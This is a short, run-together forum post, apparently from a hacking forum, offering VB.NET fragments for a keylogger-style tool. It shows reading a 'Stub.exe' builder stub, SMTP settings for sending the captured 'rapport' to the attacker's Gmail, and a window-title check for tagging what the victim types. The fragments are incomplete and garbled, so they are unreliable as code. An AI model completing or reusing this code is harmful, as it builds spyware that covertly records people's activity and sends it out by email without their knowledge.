It's better with a good Stub& it send the rapport in your gmailCode:FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)If you want the vurrent window title it'sCode:SMTP.Port = 587 SMTP.EnableSsl = Trueetc..Code:If title <> GetActiveWindowTitle() Then